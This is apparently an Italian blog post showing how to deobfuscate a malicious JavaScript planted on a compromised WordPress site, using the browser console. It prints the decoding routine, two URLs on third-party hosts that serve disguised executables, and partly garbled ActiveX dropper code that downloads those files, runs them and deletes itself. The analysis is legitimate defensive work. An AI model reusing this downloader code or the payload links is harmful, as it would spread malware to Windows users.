Vai al contenuto
Home » Decifrare semplici Javascript malevoli

Decifrare semplici Javascript malevoli

Compromettere un sito, può essere una cosa semplice. Compromettere un sito
basato su WordPress può essere una cosa molto
semplice.

Semplicemente chi usa WordPress vuole qualcosa di
semplice e veloce per essere online il prima possibile. Spesso per questo
genere di progetti, il budget a disposizione è limitato e, di conseguenza, temi
come hardening o penetration test non trovano spazio nelle voci di
bilancio.

Bucare un sito in WordPress, per distribuire codice malevolo è una pratica abbastanza comune. E’ quello che ha notato un amico, ieri durante un test.

Ha trovato questo codice JavaScript,
all’interno di un sito. Dedicato ad altre attività sul sito, ha chiesto una
mano per decifrare al volo quello che, a prima vista, era un codice JavaScript
un po’ “offuscato”.

In questo caso la struttura del codice era abbastanza chiara. Nella prima
variabile, links, dovevano esserci delle url, probabilmente afferenti ad un
secondo stage di questo malware. Nella seconda variabile, code, doveva
esserci il codice vero e proprio del malware ed in coda la coppia formata dalla
routine per mettere in chiaro links e code ed il codice per innescare tutto
il processo.

function d( c )
{
    c = c.split( '' 
    for( var i = 0 i < c.length i += 3 ) {
        c[ i ] = ''
    }
    return c.join( '' 
}

Come lo possiamo mettere in chiaro per una successiva analisi? Semplice. Ci
serve un browser e la console con gli strumenti di sviluppo.

"Il

Una volta qui, la prima cosa che dobbiamo fare è dichiarare la routine di
decifratura. La funzione d() in questo caso.

"Dichiaro

Incolliamo poi, all’interno della console, le due variabili links e code
che ci interessa mettere in chiaro. Attenzione, poiché stiamo parlando con
l’interprete JavaScript del browser, dobbiamo incollare l’intera dichiarazione
della variabile, in modo che sia sintatticamente corretta.

"Dichiaro

A questo punto, il gioco è fatto. Basta invocare la nostra routine di
decifratura, d(), sulle variabili links e code ed abbiamo il codice dle
malwar in chiaro.

"Decifro

Voilà, decifrato

Questi i link contenenti il payload da scaricare sul browser della vittima:

"var links = ["http://www.stageportieri.it/wp/P330494.png","http://www.starcrossedgdr.altervista.org/pages/im/P0003939.png"];"

Questo il codice malevolo:

"var ws = new ActiveXObject( "WScript.Shell""ping" ).StdOut.ReadAll().match( /ping/ ) ) {    var obj = new ActiveXObject( "MSXML2.XMLHTTP""Scripting.FileSystemObject""/" + Math.round( Math.random() * 999999999 ) + ".exe""WScript.Shell""ADODB.Stream""GET", links[ i ], false );        obj.Send();        if( obj.Status == 200 ) {            try {                saveFile( obj.ResponseBody, filename );                run( filename );                done = true;            }            catch( err ) {            }        }    }    suicide();}"

Analizzandolo, abbiamo un codice che vuole creare un oggetto ActiveX, quindi un
codice pensato per colpire vittimeWindows con Internet Explorer. I due link,
probabilmente piazzati lì dopo aver compromesso anche le macchine che li
ospitano, non sono ovviamente immagini, ma sono due file eseguibili.

Il codice, cerca di scaricarli dalla rete e li lancia in esecuzione. Purtroppo
nessuno dei due file era disponibile al momento della scrittura di questo post,
quindi niente analisi del codice della fase 2.

Enjoy it!

Lascia un commento

Il tuo indirizzo email non sarà pubblicato.